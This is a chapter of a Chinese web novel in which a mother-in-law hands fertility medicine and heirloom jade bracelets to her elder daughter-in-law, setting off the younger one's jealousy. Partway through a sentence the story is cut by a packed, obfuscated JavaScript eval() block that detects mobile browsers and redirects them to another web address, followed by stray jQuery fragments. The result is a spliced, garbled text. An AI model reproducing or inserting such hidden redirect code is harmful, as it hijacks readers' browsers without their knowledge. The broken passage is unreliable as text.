冬日的阳光像是一层稀薄的油脂，腻歪歪地涂抹在李家大院的青砖地上，不仅没带来半分暖意，反而将墙角的寒霜映照出一种冷森森的白。
厨房里的那场血光之灾虽然被田小草用金疮药和沉默掩盖了过去，但马喜凤那只缠着细棉布的食指，却成了两人之间一个心照不宣的秘密。
马喜凤变得稳重了许多，往日里那股子像刀子一样尖利的嚣张气焰，似乎被那层细棉布生生包裹住了，只剩下一双阴晴不定的眼睛，时常隔着窗纸，幽幽地打量着在院子里忙碌的田小草。
田小草对此视而不见。
她依旧是那个沉默的、勤恳的、如同是一头不知疲倦的老黄牛一样的长嫂。
她清晨劈柴，晌午磨豆腐，傍晚还要趁着残光去后山捡拾干松针，承载着这个家所有的琐碎与重压。
“小草，忙活着呢？”
李老婆子不知什么时候走到了田小草身后。
她手里揣着个黄铜手炉，一双精明深邃的三角眼在田小草那截纤细的腰肢上转了一圈，最后落在了她那张因为劳作而透着薄汗的脸上。
“妈，您怎么出来了？外头风大，快回去歇着吧。”田小草赶紧停下手里的活，在围裙上胡乱擦了擦手，眼神温顺。
李老婆子压低了声音，那语气里带着一种让田小草轻抑呼吸的隐秘，“进屋，妈有话跟你说。”
李老婆子的屋里常年烧着炕，透着股子陈年的温暖。阳光透过糊得严实的窗纸，洒在炕桌上，显得有些昏黄。
田小草规规矩矩地站在地中央，垂着头，看着自己那双沾满了泥渍和老茧的脚。
“你进门也有些日子了，”李老婆子坐在炕沿上，慢条斯理地抿了一口粗茶，“来顺是个实诚孩子，对你也是掏心掏肺的好。”
“咱们李家虽然不是什么富贵人家，但在这凤凰镇也是要脸面的。你弟弟那份药钱，家里虽然紧紧巴巴，但也没短了你的，你说是不是？”
“妈说得是，小草心里感激。”
田小草微微欠身，指尖不自觉地掐进了掌心里。她知道，婆婆这种开头，后面定然跟着一根极沉的骨头。
“感激不能光挂在嘴上，”李老婆子从枕头底下摸出一个红布包，一层层揭开，露出了几帖黑乎乎、散发着一股子腥苦味的药散，“这是妈托人从县城求来的催生圣药。”
“喜凤争气，已经给二顺生了个带把的，那是咱们李家的福分。可你是长媳，大房至今没个动静，我这心里不踏实啊。”
田小草看着那几帖药，胃里翻江倒海般涌起一阵酸水。
她和来顺的新婚之夜，不仅有那个红绸缎的梦，更有马喜凤在隔壁屋里刻意的尖酸刻薄。
实话实说，她不喜欢来顺，更厌恶和他在一起的每一秒，幸亏他结婚没几天就进城里打工了，不然她可真活不下去。
可是，在这个家里，生孩子不仅是繁衍和任务，更是一种功勋和免死金牌。
马喜凤如此嚣张跋扈，除了她本身性格如此之外，还多亏了她给老李家生了个儿子。
“妈……我省得了。”田小草低声应着，声音细若蚊蝇。
“光省得不行，得吃，”李老婆子眼神一厉，透出一种长辈的威严，“这药金贵得紧。从明儿起，你每天早晚各喝一碗。等大房有了后，我自然亏待不了你。”
就在这时，门帘突然被掀开了。
马喜凤不知在门口站了多久，她那只缠着白布的手指还僵在半空中。
她看着炕桌上的药散，原本清冷的脸色瞬间被嫉妒烧得通红。
“哟，妈这是又寻了什么宝贝给大嫂呢？”马喜凤扭着腰走进来，声音又恢复了往日那种尖酸的调子，“我当是什么呢，原来是求子药啊。妈，您可真偏心。当初我怀大龙的时候，吐得胆汁都快出来了，也没见您给我寻这种好物事。”
马喜凤的目光在田小草身上剜了一眼，最后落在那些药帖上，眼底满是嫉妒和贪婪。
“你跟着凑什么热闹？”李老婆子斜了她一眼，“你有大龙，成天吃香的喝辣的，身子骨壮得像头牛。小草进门这么久没动静，我不操心谁操心？”
“我这不是心疼妈操劳嘛。”
马喜凤冷哼一声，一屁股坐在炕沿另一头，眼神在田小草和李老婆子之间转来转去，最后阴测测地笑了一声，“大嫂，这药可得好好喝。要是喝了这么金贵的药还没动静，那可就是……占着茅坑不拉屎了。”
田小草依旧低着头，一言不发。那种被当成生育机器讨论的屈辱，像是一根细细的发丝，正一点点勒紧她的脖子。
李老婆子突然像是想起了什么，叹了口气，从怀里掏出一个沉甸甸的绸缎袋子。
袋口解开，两只玉镯子滑了出来。
那玉算不得上乘，颜色有些驳杂，但在昏暗的屋里，却流转着一种温润的光泽。
这是李家太奶奶传下来的，一直是婆婆压箱底的宝贝。
看见这镯子，马喜凤的呼吸瞬间变得急促起来。
她双眼死死盯着那两只镯子，眼珠子都快掉出来了。她当然知道这两只镯子的分量，卖出去能换不少钱呢。
“喜凤，你进门早，又生了儿子，这两只镯子里，本来该有你一只。”李老婆子摩挲着玉镯，语气幽幽。
马喜凤面色一喜，刚要伸手，却听婆婆话锋一转。
“但这玉讲究圆满。两只是一对，不能拆。”
“咱们李家规矩大，这镯子原本是传给长媳的，”李老婆子说着，看向了田小草，“小草，这两只镯子，妈先替你收着。等你怀了大房的种，哪怕是个丫头，妈也亲手给你戴上。”
屋子里的空气瞬间凝固了。
马喜凤的手僵在半空中，脸上的笑容一点点碎裂，化作一种近乎疯狂的怨毒。她死死地盯着田小草，仿佛要在那张温顺的脸上烧出一个洞来。
“长媳……”马喜凤从牙缝里挤出这两个字，声音颤抖得厉害，“妈，您可真会画大饼。长媳是媳妇，二儿媳就不是媳妇了吗？二顺难道不是你的亲儿子吗！”
“老李家穷得叮当响，我在老李家什么福都没享到，你们居然还非要扯什么长房长媳，我呸！”
“我为李家做牛做马这么多年，就换来您一个本来？而她田小草，一个换亲回来的破落户，凭什么？”
“就凭她是长房长媳！”李老婆子猛地一拍炕桌，震得茶杯乱响。
马喜凤猛地站起身，因为用力过猛，那只受伤的手指撞在了门框上，疼得她倒吸一口冷气。
她没有像往常那样哭闹，而是怒目圆瞪，死死地盯着田小草。
随后，她猛地掀开帘子，冲出了堂屋。
田小草看着那晃动的门帘，心里却没半分欢喜。
她知道，这两只玉镯，不是恩赐，而是婆婆投向她们妯娌之间的一块巨石。原本稍微平息的浪潮，在此刻被彻底激怒，变成了一场你死我活的博弈。
“去吧，把药端去厨房煎了。”李老婆子疲惫地挥了挥手。
田小草捧着那沉甸甸、苦腥腥的药散，退出了屋子。
当她走进厨房时，看见马喜凤正站在水缸旁，一动不动。水缸里的水倒映着马喜凤那张扭曲的脸，在阴影里显得格外狰狞。
“田小草，”马喜凤没回头，声音沙哑得厉害，“你是不是觉得自己赢定了？”
田小草没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301537|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应声，利索地架起小药炉，扇风起火。
“我生了大龙，在这个家里守了三年。你凭什么用这两只镯子就把我这么多年的苦全给抹了？”马喜凤转过身，一步步逼近，那股浓烈的、廉价的雪花膏味再次压了过来，却带着一股子疯狂的冷意。
“弟妹，那镯子在妈手里，没在我的手腕上。”田小草平静地抬头，火光映在她的眸子里，波澜不惊。
“可那是给你的！”
马喜凤尖叫一声，突然猛地夺过田小草手里的扇子，狠狠掼在地上，“你以为你能怀上？你以为这李家的长房能有后？我告诉你，只要我马喜凤在一天，你那肚子就别想有动静！”
田小草看着地上的扇子，又看了看马喜凤那只因为过度用力而渗出血迹的细棉布。
她没有愤怒，反而生出一种深深的悲哀。
这就是她们的命。
在这一方狭窄又烟熏火燎的厨房里，为了一个不值钱的镯子，像两头困在斗兽场里的困兽，互相撕咬，却不知那个看戏的人，正坐在高台上，冷漠地拨弄着算盘。
“弟妹，手流血了。”田小草低声提醒。
马喜凤愣了一下，看着指尖渗出的红。她突然像是卸了气的皮球，蹲在地上，放声大哭起来。
那种哭声，不再是平时的撒泼，而是一种被彻底辜负后的绝望。
“为什么！凭什么我要这么辛苦……凭什么所有人都看不起我……”
田小草站在火炉旁，任由那苦涩的药味弥漫开来。她看着马喜凤颤抖的肩膀，鬼使神差地，她伸出手，轻轻拍了拍马喜凤的背。
那手极为轻柔，像抚慰孩子一样，让马喜凤的哭声戛然而止。
药炉里的火苗舔舐着砂锅底，发出细微的劈啪声。那股浓稠、腥苦的味道在空气中横冲直撞，不仅盖过了厨房原有的烟火气，更像是一层挥之不去的阴云，沉沉地压在两个女人的心头。
马喜凤蹲在地上，哭声渐渐弱了下去，只剩下间或的一两声抽噎，听起来透着一股子耗尽心力的颓然。
田小草走过去，将摔在地上的那把竹编扇子捡了起来，拍了拍上面的灰。
她动作很慢，眼神里透着一种看透世事后的荒凉，“弟妹，起来吧。地上潮，坐久了寒气入骨，受罪的是你自己。”
田小草的声音很轻，没有了之前的冷硬。她伸手去扶马喜凤，这一次，马喜凤没有躲，也没有推。
马喜凤借着田小草的力道站了起来，因为蹲得久了，腿脚有些发麻，身体不由自主地晃了晃。田小草顺势搂住她的肩膀，让她靠在自己怀里稳了稳。
这种因同病相怜而产生的短暂亲近，让马喜凤整个人都僵住了。她感受着田小草身上那股被汗水和烟火浸透的暖意，心里那些像冰凌一样扎人的嫉妒，竟然奇迹般地消融了一角。
“田小草，你心里肯定在笑话我吧？”马喜凤抬起头，那双被泪水洗过的眼睛红肿得厉害，却透着一股子少有的清明，“笑我费尽心思，到头来在婆婆眼里，还不如这两只没到手的镯子重。”
“我笑你做什么？”田小草自嘲地扯了扯嘴角，伸手帮马喜凤理了理鬓边乱掉的头发，指尖掠过马喜凤那还带着泪痕的脸颊，触感滑腻，却冷得惊人，“在这个家里，谁笑话谁，不都是在笑话自己吗？”
田小草转过身，从灶台上拿过一只粗瓷大碗，又拿了块干净的屉布蒙在砂锅口，小心翼翼地滤出一碗漆黑如墨的药汁。
那药汁升腾起一团怪异的白雾，腥苦的味道简直让人窒息。
喜凤看着田小草的背影，不明所以。
不过她恨田小草，因为怀孕的药方，祖传的桌子，本来都应该是她的。